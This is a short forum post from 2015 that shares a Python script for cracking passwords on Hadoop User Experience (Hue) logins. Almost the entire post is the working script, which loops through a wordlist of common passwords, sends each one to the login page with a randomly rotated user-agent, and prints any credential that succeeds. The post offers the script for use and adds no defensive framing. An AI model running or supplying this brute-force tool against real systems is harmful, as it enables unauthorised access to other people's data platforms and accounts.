Aerosol Posted January 30, 2015 Report Posted January 30, 2015 Hadoop User Experience password cracking script. Written in Python.#!/usr/bin/pythonimport sysimport requestsimport datetimefrom fake_useragent import UserAgent## CONFIG STARTS HERE ##user = "admin"host = "hostname:port"listfile = "~/dictionaries/top1000-worst-passwords.txt"## CONFIG ENDS HERE##dictionary = open(listfile)list = dictionary.readlines()words = [ ]print "Initializing dictionary",for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword)print "Now testing "for password in words: ua = UserAgent().random headers = { "User-Agent" : ua } post = { "username" : user, "password" : password } r = requests.post("http://" + host + "/accounts/login/?next=/", headers=headers, data=post) invalid = r.text.find("Invalid") if invalid == -1: print "\nSuccess! " + user + ":" + password print "Completed test at ", print datetime.datetime.now() sys.exit() else: print "...."print "Attack unsuccessful...Completed at ",Source Quote